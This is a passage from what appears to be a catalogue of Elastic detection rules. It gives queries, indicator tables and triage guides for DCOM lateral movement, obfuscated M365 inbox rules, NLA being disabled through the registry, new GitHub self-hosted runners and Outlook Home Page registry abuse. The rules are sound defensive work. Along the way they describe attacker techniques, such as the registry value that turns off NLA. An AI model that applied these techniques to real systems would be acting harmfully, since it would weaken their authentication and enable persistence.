"C:\\Program Files\\Microsoft Office\\root\\Client\\AppVDllSurrogate64.exe",
"C:\\Program Files (x86)\\Microsoft Office\\root\\Client\\AppVDllSurrogate64.exe")
'''
min_endpoint_version = "8.6.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1021"
name = "Remote Services"
reference = "https://attack.mitre.org/techniques/T1021/"
[[threat.technique.subtechnique]]
id = "T1021.003"
name = "Distributed Component Object Model"
reference = "https://attack.mitre.org/techniques/T1021/003/"
[threat.tactic]
id = "TA0008"
name = "Lateral Movement"
reference = "https://attack.mitre.org/tactics/TA0008/"
[internal]
min_endpoint_version = "8.6.0"
Stages and Predicates
Stage 1: process
process where event.action == "start" and process.Ext.session_info.logon_type : "Network*" and
process.parent.executable : "?:\\Program Files*\\Microsoft Office\\*.exe" and process.parent.args : "-Embedding" and
not process.executable : ("C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe",
"C:\\Program Files\\Microsoft Office\\root\\Client\\AppVDllSurrogate64.exe",
"C:\\Program Files (x86)\\Microsoft Office\\root\\Client\\AppVDllSurrogate64.exe")
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | eq |
| field:"EventType" kind:eq value:"start" |
process.Ext.session_info.logon_type | wildcard |
| field:"process.Ext.session_info.logon_type" kind:wildcard value:"Network*" |
process.parent.args | wildcard |
| field:"process.parent.args" kind:wildcard value:"-Embedding" |
process.parent.executable | wildcard |
| field:"ParentImage" kind:wildcard value:"?:\Program Files*\Microsoft Office\*.exe" |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
process.executable | eq | C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe, C:\Program Files\Microsoft Office\root\Client\AppVDllSurrogate64.exe, C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe | excludes:process.executable field:"process.executable" value:"C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe" field:"process.executable" value:"C:\Program Files\Microsoft Office\root\Client\AppVDllSurrogate64.exe" field:"process.executable" value:"C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe" |
M365 Exchange Inbox Rule with Obfuscated Name
#Identifies when a Microsoft Exchange inbox rule is created or modified with a name composed only of special characters. Adversaries may use obfuscated inbox rule names to evade detection, hide malicious forwarding or deletion rules, or blend in with benign audit noise. The rule name is parsed from "o365.audit.ObjectId", which encodes the mailbox identity and rule name separated by a backslash.
Known False Positives
- Rare legitimate automation or third-party tools may create inbox rules with non-alphanumeric names. Validate against known messaging workflows and approved admin scripts before escalating.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Persistence | |
| Stealth |
Telemetry Coverage
Rules Detecting the Same Action
These rules filter on the same operation.
- M365 Exchange Inbox Forwarding Rule Created (Elastic)
- Malicious Inbox Rule (Kusto)
- O365 BEC Email Hiding Rule Created (Splunk)
- O365 Email New Inbox Rule Created (Splunk)
Rule Body
[metadata]
creation_date = "2026/05/27"
integration = ["o365"]
maturity = "production"
updated_date = "2026/05/27"
[rule]
author = ["Elastic"]
description = """
Identifies when a Microsoft Exchange inbox rule is created or modified with a name composed only of special characters.
Adversaries may use obfuscated inbox rule names to evade detection, hide malicious forwarding or deletion rules, or blend
in with benign audit noise. The rule name is parsed from "o365.audit.ObjectId", which encodes the mailbox identity and
rule name separated by a backslash.
"""
false_positives = [
"""
Rare legitimate automation or third-party tools may create inbox rules with non-alphanumeric names. Validate against
known messaging workflows and approved admin scripts before escalating.
""",
]
from = "now-9m"
language = "esql"
license = "Elastic License v2"
name = "M365 Exchange Inbox Rule with Obfuscated Name"
note = """## Triage and analysis
### Investigating M365 Exchange Inbox Rule with Obfuscated Name
This rule flags `New-InboxRule` and `Set-InboxRule` activity where the inbox rule name extracted from
`o365.audit.ObjectId` contains only special characters. Attackers use these names to make malicious rules harder to spot
in the Microsoft 365 compliance portal and security tooling.
Because this rule uses ESQL `grok` and `keep`, review the original `o365.audit` documents for full rule parameters
(`o365.audit.Parameters.*`) such as forwarding, deletion, or move actions.
### Possible investigation steps
- Review `Esql.inbox_rule_name` and `o365.audit.ObjectId` to confirm the parsed rule identity and mailbox path.
- Identify the actor using `o365.audit.UserId` and correlate with Entra ID sign-in logs for the same `source.ip`.
- Inspect `event.action` to determine whether the rule was newly created or modified.
- Review kept forwarding and redirect parameters (`ForwardTo`, `ForwardAsAttachmentTo`, `ForwardingAddress`,
`RedirectTo`, `RedirectToRecipients`) for external destinations outside `user.domain`.
- Pull the source event and review `o365.audit.Parameters` for `DeleteMessage`, `MoveToFolder`, or
`SubjectContainsWords` that indicate evasion or exfiltration intent.
- Hunt for other inbox rules from the same user or IP with standard or obfuscated names.
### False positive analysis
- Internal scripts that programmatically name rules with symbols may match. Document approved senders and exclude if
necessary.
- Broken or partial `ObjectId` values can affect grok extraction; verify the parsed name in the raw audit record.
### Response and remediation
- Remove the inbox rule from the affected mailbox if unauthorized.
- Reset credentials and revoke sessions for the user if compromise is suspected.
- Review the tenant for additional malicious inbox or transport rules from the same source IP.
"""
references = ["https://www.microsoft.com/en-us/security/blog/2026/04/06/ai-enabled-device-code-phishing-campaign-april-2026/"]
risk_score = 47
rule_id = "1c3d9346-4591-4894-935c-dad2824850f2"
severity = "medium"
tags = [
"Domain: Cloud",
"Domain: SaaS",
"Domain: Email",
"Data Source: Microsoft 365",
"Data Source: Microsoft 365 Audit Logs",
"Use Case: Threat Detection",
"Tactic: Defense Evasion",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "esql"
query = '''
from logs-o365.audit-* metadata _id, _version, _index
| where
data_stream.dataset == "o365.audit" and
event.provider == "Exchange" and
event.action in ("New-InboxRule", "Set-InboxRule") and
event.outcome == "success" and
o365.audit.ObjectId is not null
| grok o365.audit.ObjectId """.*\\\\(?<Esql.inbox_rule_name>.*)$"""
// only special chars in inbox rule name
| where Esql.inbox_rule_name rlike """[!@#$%^&*()_+={[\]|\\:;"'<,>.?/~` \-]+"""
| keep
@timestamp,
_id,
_version,
_index,
Esql.inbox_rule_name,
o365.audit.ObjectId,
o365.audit.UserId,
o365.audit.ApplicationId,
user.name,
user.domain,
event.action,
source.ip,
source.as.number,
source.as.organization.name,
o365.audit.Parameters.ForwardTo,
o365.audit.Parameters.ForwardAsAttachmentTo,
o365.audit.Parameters.RedirectTo
'''
[rule.investigation_fields]
field_names = [
"@timestamp",
"Esql.inbox_rule_name",
"o365.audit.ObjectId",
"o365.audit.UserId",
"user.name",
"user.domain",
"event.action",
"source.ip",
"source.as.organization.name",
"o365.audit.Parameters.ForwardTo",
"o365.audit.Parameters.ForwardAsAttachmentTo",
"o365.audit.Parameters.RedirectTo"
]
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1564"
name = "Hide Artifacts"
reference = "https://attack.mitre.org/techniques/T1564/"
[[rule.threat.technique.subtechnique]]
id = "T1564.008"
name = "Email Hiding Rules"
reference = "https://attack.mitre.org/techniques/T1564/008/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1137"
name = "Office Application Startup"
reference = "https://attack.mitre.org/techniques/T1137/"
[[rule.threat.technique.subtechnique]]
id = "T1137.005"
name = "Outlook Rules"
reference = "https://attack.mitre.org/techniques/T1137/005/"
[rule.threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"
Stages and Predicates
Stage 1: from
from logs-o365.audit-* metadata _id, _version, _index
Stage 2: where
| where
data_stream.dataset == "o365.audit" and
event.provider == "Exchange" and
event.action in ("New-InboxRule", "Set-InboxRule") and
event.outcome == "success" and
o365.audit.ObjectId is not null
Stage 3: grok
| grok o365.audit.ObjectId """.*\\\\(?<Esql.inbox_rule_name>.*)$"""
Stage 4: where
| where Esql.inbox_rule_name rlike """[!@#$%^&*()_+={[\]|\\:;"'<,>.?/~` \-]+"""
Stage 5: keep
| keep
@timestamp,
_id,
_version,
_index,
Esql.inbox_rule_name,
o365.audit.ObjectId,
o365.audit.UserId,
o365.audit.ApplicationId,
user.name,
user.domain,
event.action,
source.ip,
source.as.number,
source.as.organization.name,
o365.audit.Parameters.ForwardTo,
o365.audit.Parameters.ForwardAsAttachmentTo,
o365.audit.Parameters.RedirectTo
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
Esql.inbox_rule_name | regex_match |
| field:"Esql.inbox_rule_name" kind:regex_match |
data_stream.dataset | eq |
| field:"data_stream.dataset" kind:eq value:"o365.audit" |
event.action | in |
| field:"EventType" kind:in |
event.outcome | eq |
| field:"event.outcome" kind:eq value:"success" |
event.provider | eq |
| field:"Provider_Name" kind:eq value:"Exchange" |
o365.audit.ObjectId | is_not_null | field:"m365::ObjectId" kind:is_not_null |
Output Fields
These fields are emitted when the rule matches.
| Field | Source |
|---|---|
@timestamp | KEEP @timestamp |
_id | KEEP _id |
_version | KEEP _version |
_index | KEEP _index |
Esql.inbox_rule_name | KEEP Esql.inbox_rule_name |
o365.audit.ObjectId | KEEP o365.audit.ObjectId |
o365.audit.UserId | KEEP o365.audit.UserId |
o365.audit.ApplicationId | KEEP o365.audit.ApplicationId |
user.name | KEEP user.name |
user.domain | KEEP user.domain |
event.action | KEEP event.action |
source.ip | KEEP source.ip |
source.as.number | KEEP source.as.number |
source.as.organization.name | KEEP source.as.organization.name |
o365.audit.Parameters.ForwardTo | KEEP o365.audit.Parameters.ForwardTo |
o365.audit.Parameters.ForwardAsAttachmentTo | KEEP o365.audit.Parameters.ForwardAsAttachmentTo |
o365.audit.Parameters.RedirectTo | KEEP o365.audit.Parameters.RedirectTo |
Network-Level Authentication (NLA) Disabled
#Identifies the attempt to disable Network-Level Authentication (NLA) via registry modification. Network Level Authentication (NLA) is a feature on Windows that provides an extra layer of security for Remote Desktop (RDP) connections, as it requires users to authenticate before allowing a full RDP session. Attackers can disable NLA to enable persistence methods that require access to the Windows sign-in screen without authenticating, such as Accessibility Features persistence methods, like Sticky Keys.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Persistence | |
| Defense Impairment | |
| Lateral Movement |
Rules Detecting the Same Action
These rules filter on the same operation.
- LSASS Memory Dump Creation (Elastic)
- Office Test Registry Persistence (Elastic)
- Outlook Home Page Registry Modification (Elastic)
- Potential NetNTLMv1 Downgrade Attack (Elastic)
- Potential RemoteMonologue Attack (Elastic)
- WDAC Policy File by an Unusual Process (Elastic)
Rule Body
[metadata]
creation_date = "2023/08/25"
integration = ["endpoint", "m365_defender", "sentinel_one_cloud_funnel", "windows", "crowdstrike"]
maturity = "production"
updated_date = "2026/05/04"
[rule]
author = ["Elastic"]
description = """
Identifies the attempt to disable Network-Level Authentication (NLA) via registry modification. Network Level
Authentication (NLA) is a feature on Windows that provides an extra layer of security for Remote Desktop (RDP)
connections, as it requires users to authenticate before allowing a full RDP session. Attackers can disable NLA to
enable persistence methods that require access to the Windows sign-in screen without authenticating, such as
Accessibility Features persistence methods, like Sticky Keys.
"""
from = "now-9m"
index = [
"logs-endpoint.events.registry-*",
"endgame-*",
"logs-m365_defender.event-*",
"logs-sentinel_one_cloud_funnel.*",
"logs-windows.sysmon_operational-*",
"logs-crowdstrike.fdr*",
]
language = "eql"
license = "Elastic License v2"
name = "Network-Level Authentication (NLA) Disabled"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Network-Level Authentication (NLA) Disabled
Network-Level Authentication (NLA) enhances security for Remote Desktop Protocol (RDP) by requiring user authentication before establishing a session. Adversaries may disable NLA to exploit vulnerabilities at the Windows sign-in screen, bypassing authentication for persistence tactics. The detection rule identifies registry changes that disable NLA, signaling potential unauthorized access attempts.
### Possible investigation steps
- Review the registry event logs to confirm the modification of the UserAuthentication value in the specified registry paths, ensuring the change was not part of a legitimate administrative action.
- Identify the user account and process responsible for the registry modification by examining the event logs for associated user and process information.
- Check for any recent Remote Desktop Protocol (RDP) connection attempts or sessions on the affected host to determine if unauthorized access was achieved following the NLA disablement.
- Investigate the timeline of the registry change to correlate with any other suspicious activities or alerts on the host, such as the execution of unusual processes or network connections.
- Assess the host for signs of persistence mechanisms, particularly those leveraging Accessibility Features like Sticky Keys, which may have been enabled following the NLA disablement.
- Evaluate the security posture of the affected system, including patch levels and existing security controls, to identify potential vulnerabilities that could have been exploited.
### False positive analysis
- Administrative changes to RDP settings can trigger false positives when IT personnel intentionally modify registry settings for legitimate purposes. To handle this, create exceptions for known administrative activities by documenting and excluding these specific registry changes from alerts.
- Software updates or installations that modify RDP settings might be flagged as false positives. To mitigate this, maintain a list of trusted software and their expected registry changes, and configure the detection system to ignore these during update windows.
- Automated scripts or management tools that adjust RDP configurations for compliance or performance reasons can also cause false positives. Identify these tools and their expected behavior, then set up exclusions for their registry modifications to prevent unnecessary alerts.
### Response and remediation
- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary.
- Re-enable Network-Level Authentication (NLA) on the affected system by modifying the registry value back to its secure state, ensuring that "UserAuthentication" is set to "1" or "0x00000001".
- Conduct a thorough review of recent user activity and system logs to identify any unauthorized access or changes made during the period NLA was disabled.
- Reset passwords for all accounts that have accessed the affected system to mitigate potential credential compromise.
- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.
- Implement enhanced monitoring on the affected system and similar endpoints to detect any further attempts to disable NLA or other suspicious activities.
- Review and update endpoint security policies to ensure that registry changes related to NLA are monitored and alerts are generated for any unauthorized modifications."""
references = [
"https://www.microsoft.com/en-us/security/blog/2023/08/24/flax-typhoon-using-legitimate-software-to-quietly-access-taiwanese-organizations/",
]
risk_score = 21
rule_id = "db65f5ba-d1ef-4944-b9e8-7e51060c2b42"
severity = "low"
tags = [
"Domain: Endpoint",
"OS: Windows",
"Use Case: Threat Detection",
"Tactic: Defense Evasion",
"Data Source: Elastic Defend",
"Data Source: Elastic Endgame",
"Data Source: Microsoft Defender XDR",
"Data Source: SentinelOne",
"Data Source: Sysmon",
"Resources: Investigation Guide",
"Data Source: Crowdstrike",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
registry where host.os.type == "windows" and event.action != "deletion" and registry.value : "UserAuthentication" and
registry.path : (
"HKLM\\SYSTEM\\ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\UserAuthentication",
"\\REGISTRY\\MACHINE\\SYSTEM\\*ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\UserAuthentication",
"MACHINE\\SYSTEM\\*ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\UserAuthentication"
) and registry.data.strings : ("0", "0x00000000")
'''
setup = """## Setup
This rule is designed for data generated by [Elastic Defend](https://www.elastic.co/security/endpoint-security), which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules.
Setup instructions: https://ela.st/install-elastic-defend
### Additional data sources
This rule also supports the following third-party data sources. For setup instructions, refer to the links below:
- [CrowdStrike](https://ela.st/crowdstrike-integration)
- [Microsoft Defender XDR](https://ela.st/m365-defender)
- [SentinelOne Cloud Funnel](https://ela.st/sentinel-one-cloud-funnel)
- [Sysmon Registry Events](https://ela.st/sysmon-event-reg-setup)
"""
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1112"
name = "Modify Registry"
reference = "https://attack.mitre.org/techniques/T1112/"
[[rule.threat.technique]]
id = "T1562"
name = "Impair Defenses"
reference = "https://attack.mitre.org/techniques/T1562/"
[[rule.threat.technique.subtechnique]]
id = "T1562.010"
name = "Downgrade Attack"
reference = "https://attack.mitre.org/techniques/T1562/010/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1021"
name = "Remote Services"
reference = "https://attack.mitre.org/techniques/T1021/"
[[rule.threat.technique.subtechnique]]
id = "T1021.001"
name = "Remote Desktop Protocol"
reference = "https://attack.mitre.org/techniques/T1021/001/"
[rule.threat.tactic]
id = "TA0008"
name = "Lateral Movement"
reference = "https://attack.mitre.org/tactics/TA0008/"
Stages and Predicates
Stage 1: registry
registry where host.os.type == "windows" and event.action != "deletion" and registry.value : "UserAuthentication" and
registry.path : (
"HKLM\\SYSTEM\\ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\UserAuthentication",
"\\REGISTRY\\MACHINE\\SYSTEM\\*ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\UserAuthentication",
"MACHINE\\SYSTEM\\*ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\UserAuthentication"
) and registry.data.strings : ("0", "0x00000000")
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | ne |
| field:"EventType" kind:ne value:"deletion" |
registry.data.strings | wildcard |
| field:"Details" kind:wildcard |
registry.path | wildcard |
| field:"TargetObject" kind:wildcard |
registry.value | wildcard |
| field:"registry_value_name" kind:wildcard value:"UserAuthentication" |
New GitHub Self Hosted Action Runner
#This rule detects the creation of a self-hosted Github runner from a first time seen user.name in the last 5 days. Adversaries may abuse self-hosted runners to execute workflow jobs on customer infrastructure.
Known False Positives
- Authorized self-hosted GitHub actions runner.
MITRE ATT&CK Coverage
Telemetry Coverage
Rules Detecting the Same Action
These rules filter on the same operation.
Rule Body
[metadata]
creation_date = "2025/11/28"
integration = ["github"]
maturity = "production"
updated_date = "2026/04/10"
[rule]
author = ["Elastic"]
description = """
This rule detects the creation of a self-hosted Github runner from a first time seen user.name in the last 5 days. Adversaries
may abuse self-hosted runners to execute workflow jobs on customer infrastructure.
"""
false_positives = [
"Authorized self-hosted GitHub actions runner.",
]
from = "now-9m"
index = ["logs-github.audit-*"]
language = "kuery"
license = "Elastic License v2"
name = "New GitHub Self Hosted Action Runner"
note = """## Triage and analysis
### Investigating New GitHub Self Hosted Action Runner
Adversaries who gain the ability to modify or trigger workflows in a linked GitHub repository can execute arbitrary commands on the runner host.
### Possible investigation steps
- Validate the user is authoried to perform this change
- Review the purpose of the self-hosted action runner and what actions will be executed.
- Verify if there is any adjascent sensitive file access or collection.
- Correlate with other alerts and investiguate if this activity is related to a supply chain attack.
### False positive analysis
- Authorized github self-hosted actions runner.
### Response and remediation
- Immediately isolate the affected system from the network to prevent further unauthorized command execution and potential lateral movement.
- Terminate any suspicious child processes that were initiated by the Github actions runner.
- Conduct a thorough review of the affected system's logs and configurations to identify any unauthorized changes or additional indicators of compromise.
- Restore the system from a known good backup if any unauthorized changes or malicious activities are confirmed.
- Implement application whitelisting to prevent unauthorized execution.
- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the broader network."""
references = [
"https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise",
"https://socket.dev/blog/shai-hulud-strikes-again-v2",
"https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack"
]
risk_score = 47
rule_id = "40c34c8a-b0bc-43bc-83aa-d2b76bf129e1"
severity = "medium"
tags = [
"Domain: Cloud",
"Use Case: Threat Detection",
"Tactic: Initial Access",
"Data Source: Github",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "new_terms"
query = '''
data_stream.dataset:"github.audit" and
event.category:"configuration" and
event.action: (
"repo.register_self_hosted_runner" or
"org.register_self_hosted_runner" or
"enterprise.register_self_hosted_runner"
)
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1195"
name = "Supply Chain Compromise"
reference = "https://attack.mitre.org/techniques/T1195/"
[[rule.threat.technique.subtechnique]]
id = "T1195.001"
name = "Compromise Software Dependencies and Development Tools"
reference = "https://attack.mitre.org/techniques/T1195/001/"
[[rule.threat.technique.subtechnique]]
id = "T1195.002"
name = "Compromise Software Supply Chain"
reference = "https://attack.mitre.org/techniques/T1195/002/"
[rule.threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"
[rule.new_terms]
field = "new_terms_fields"
value = ["user.name", "github.actor_ip"]
[[rule.new_terms.history_window_start]]
field = "history_window_start"
value = "now-5d"
Stages and Predicates
Stage 1: new_terms
data_stream.dataset:"github.audit" and
event.category:"configuration" and
event.action: (
"repo.register_self_hosted_runner" or
"org.register_self_hosted_runner" or
"enterprise.register_self_hosted_runner"
)
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
data_stream.dataset | eq |
| field:"data_stream.dataset" kind:eq value:"github.audit" |
event.action | in |
| field:"EventType" kind:in |
event.category | eq |
| field:"event.category" kind:eq value:"configuration" |
Outlook Home Page Registry Modification
#Identifies modifications in registry keys associated with abuse of the Outlook Home Page functionality for command and control or persistence.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Persistence | |
| Command & Control |
Rules Detecting the Same Action
These rules filter on the same operation.
- LSASS Memory Dump Creation (Elastic)
- Network-Level Authentication (NLA) Disabled (Elastic)
- Office Test Registry Persistence (Elastic)
- Potential NetNTLMv1 Downgrade Attack (Elastic)
- Potential RemoteMonologue Attack (Elastic)
- WDAC Policy File by an Unusual Process (Elastic)
Rule Body
[metadata]
creation_date = "2024/08/01"
integration = ["endpoint", "windows", "m365_defender", "sentinel_one_cloud_funnel", "crowdstrike"]
maturity = "production"
updated_date = "2026/04/07"
[rule]
author = ["Elastic"]
description = """
Identifies modifications in registry keys associated with abuse of the Outlook Home Page functionality for command and
control or persistence.
"""
from = "now-9m"
index = [
"winlogbeat-*",
"logs-endpoint.events.registry-*",
"logs-windows.sysmon_operational-*",
"endgame-*",
"logs-m365_defender.event-*",
"logs-sentinel_one_cloud_funnel.*",
"logs-crowdstrike.fdr*",
]
language = "eql"
license = "Elastic License v2"
name = "Outlook Home Page Registry Modification"
references = [
"https://cloud.google.com/blog/topics/threat-intelligence/breaking-the-rules-tough-outlook-for-home-page-attacks/",
"https://github.com/trustedsec/specula",
]
risk_score = 73
rule_id = "ac5a2759-5c34-440a-b0c4-51fe674611d6"
severity = "high"
tags = [
"Domain: Endpoint",
"OS: Windows",
"Use Case: Threat Detection",
"Tactic: Command and Control",
"Tactic: Persistence",
"Data Source: Elastic Endgame",
"Data Source: Elastic Defend",
"Data Source: Sysmon",
"Data Source: Microsoft Defender XDR",
"Data Source: SentinelOne",
"Resources: Investigation Guide",
"Data Source: Crowdstrike",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
registry where host.os.type == "windows" and event.action != "deletion" and registry.value : "URL" and
registry.path : (
"*\\SOFTWARE\\Microsoft\\Office\\*\\Outlook\\Webview\\*",
"*\\SOFTWARE\\Microsoft\\Office\\*\\Outlook\\Today\\*"
) and registry.data.strings : ("*://*", "*:\\*", "\\\\*\\*")
'''
note = """## Triage and analysis
### Investigating Outlook Home Page Registry Modification
#### Possible investigation steps
- What does the written registry value tell you about the configured Outlook content target?
- Focus: `registry.path`, `registry.value`, `registry.data.type`, and `registry.data.strings`, plus which Outlook folder or Today page the key controls.
- Hint: check for a deletion on the same `registry.path` after the alert time -- if removed, urgency shifts to post-exploitation cleanup or transient testing. If a loopback or localhost URL is present, check for COM object registrations (CLSID entries) serving content on that port.
- Implication: a loopback or localhost URL with a non-standard port is a strong indicator of Specula-style COM server abuse -- do not treat it as benign internal traffic. External URLs, local HTML files, and UNC paths also support concern. The investigation path is narrower only when the target uses a non-loopback internal hostname or a path consistent with enterprise branding.
- Which process wrote the setting, and does the writer context fit expected Outlook administration?
- Focus: `process.executable`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `user.id`.
- Hint: if the direct writer is a broker or service process, check `Effective_process.executable` for the true initiator. If signer fields are absent on the registry event, recover the writer from surrounding process telemetry.
- Implication: the writer context is harder to justify when a script host, LOLBin, unsigned, or user-writable binary writes the key, or when the user context does not match known Outlook administration tooling; it is more explainable when the writer is a signed deployment or profile-management tool with a recognized signer.
- What does the target URL or path resolve to, and does it fit a known abuse pattern?
- Focus: the written target in `registry.data.strings`; for URL targets, review same-host DNS "lookup_result" and connection events with `dns.question.name`, `dns.resolved_ip`, and `destination.ip`; for path targets, pivot to `file.path` on the same `host.id`.
- Hint: if the target is a UNC path, confirm whether the same host reached the backing server in surrounding connection activity and whether a local `file.path` copy was staged before Outlook could render it.
- Implication: external URLs to rare domains or public IPs, user-writable HTML files, and unrecognized network shares support concern. The target is less concerning when it resolves to a recognized enterprise portal or branding content path. Missing corroborating network or file telemetry is unresolved, not benign.
- Do file events or Outlook process events show the target being staged or activated?
- Focus: same-host file activity tied to the writer or target path (`file.path`, `file.origin_url`, `file.Ext.windows.zone_identifier`), and Outlook or Office process events (`process.executable`, `process.parent.executable`) that access the configured target.
- Hint: for URL targets, correlate Outlook activity to the same resolved IPs or domains; for local or UNC paths, look for the same path being opened after the write.
- Implication: concern rises when the writer stages HTML or script content in user-writable locations and Outlook reaches the same target, or when the modified profile triggers suspicious child or network activity. Absence of staging or activation does not clear the registry write but reduces immediate execution risk.
- If the local evidence stays suspicious, how did the account authenticate to this host before the registry write?
- Why: writing the Outlook Home Page key requires HKCU hive access, so the session origin can reveal compromised credentials, lateral movement, or unexpected remote access.
- Focus: if Windows Security logs are ingested, query authentication events for `user.id` and `host.id` around the alert time, checking `winlog.logon.type`, `source.ip`, and `winlog.event_data.AuthenticationPackageName`. If authentication data is unavailable, fall back to `process.Ext.session_info.logon_type` from the writer's process event.
- Implication: supports concern when the session originated from an unexpected source IP, used an unusual logon type or authentication package, or cannot be tied to the user's normal access pattern for this host.
- If the local evidence stays suspicious, does this host show related alerts or adjacent Outlook Home Page variants?
- Focus: related alerts for the same `host.id` and `user.id` in the last 48 hours to identify precursor delivery, suspicious Office execution, network command-and-control, or additional persistence activity on the same asset or user.
- $investigate_0
- $investigate_1
- Implication: broader compromise when the asset also shows delivery, suspicious Office execution, or follow-on persistence alerts; stays locally bounded when surrounding host alerts are limited to routine administration or unrelated benign activity.
- Escalate when the registry change, writer context, target resolution, execution evidence, and alert scope align on unauthorized Outlook customization or persistence; close only when all evidence fits a recognized Outlook customization or profile-management workflow; if mixed or incomplete, preserve and escalate.
### False positive analysis
- Enterprise branding, profile migration, or configuration-management tooling can legitimately write these keys. Confirm when the `registry.path` family, `registry.data.strings` target, and writer identity all match the same customization or deployment workflow, with no staged external content or divergent infrastructure.
- Before creating an exception, build on the specific `registry.data.strings` value, `process.code_signature.subject_name` or `Effective_process.executable`, and the specific `registry.path` family. Avoid exceptions on `registry.value` alone, `user.name` alone, or the entire Outlook registry subtree.
### Response and remediation
- If confirmed benign, reverse any temporary containment and document the confirmed `registry.path` family, `registry.data.strings` target, and writer identity that proved the Outlook customization workflow. Create an exception using the same `registry.data.strings` value, writer signer, and `registry.path` family.
- If suspicious but unconfirmed, preserve the modified `registry.path`, written value data, recovered `process.entity_id`, writer identity, any staged `file.path` content, and any related destination or alert context. Apply reversible containment first, such as blocking the page target or limiting Outlook use on the affected host, and avoid destructive cleanup until scope is clearer.
- If confirmed malicious, document the recovered `process.entity_id`, `process.command_line`, `process.code_signature.subject_name`, `registry.data.strings` target, and the modified `registry.path` values before initiating response actions. Use available endpoint response integrations to contain the affected host or account when the writer, target, staging, or activation evidence indicates unauthorized Outlook Home Page abuse. If direct endpoint response is unavailable, escalate with the documented artifacts to the team that can act.
- Restore the affected Outlook Webview or Today values to a known-good state, remove any malicious local HTML or script content identified during the investigation, and block confirmed malicious domains, IPs, or network shares referenced by the page target.
- If the target points to external infrastructure or a shared path, review proxy, DNS, firewall, and related-alert data for additional hosts or users that reached the same content, then scope any follow-on delivery or persistence activity found on those assets.
- After containment, review whether Outlook Home Page functionality is still needed in the environment and restrict who can manage those settings.
"""
setup = """## Setup
This rule is designed for data generated by [Elastic Defend](https://www.elastic.co/security/endpoint-security), which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules.
Setup instructions: https://ela.st/install-elastic-defend
### Additional data sources
This rule also supports the following third-party data sources. For setup instructions, refer to the links below:
- [CrowdStrike](https://ela.st/crowdstrike-integration)
- [Microsoft Defender XDR](https://ela.st/m365-defender)
- [SentinelOne Cloud Funnel](https://ela.st/sentinel-one-cloud-funnel)
- [Sysmon Registry Events](https://ela.st/sysmon-event-reg-setup)
"""
[rule.investigation_fields]
field_names = [
"@timestamp",
"host.id",
"host.name",
"user.id",
"user.name",
"registry.path",
"registry.value",
"registry.data.type",
"registry.data.strings",
"process.executable",
"process.entity_id",
"process.code_signature.subject_name",
"Effective_process.executable",
]
[[transform.investigate]]
label = "Alerts associated with the user"
description = ""
providers = [
[
{ excluded = false, field = "event.kind", queryType = "phrase", value = "signal", valueType = "string" },
{ excluded = false, field = "user.id", queryType = "phrase", value = "{{user.id}}", valueType = "string" }
]
]
relativeFrom = "now-48h/h"
relativeTo = "now"
[[transform.investigate]]
label = "Alerts associated with the host"
description = ""
providers = [
[
{ excluded = false, field = "event.kind", queryType = "phrase", value = "signal", valueType = "string" },
{ excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" }
]
]
relativeFrom = "now-48h/h"
relativeTo = "now"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1071"
name = "Application Layer Protocol"
reference = "https://attack.mitre.org/techniques/T1071/"
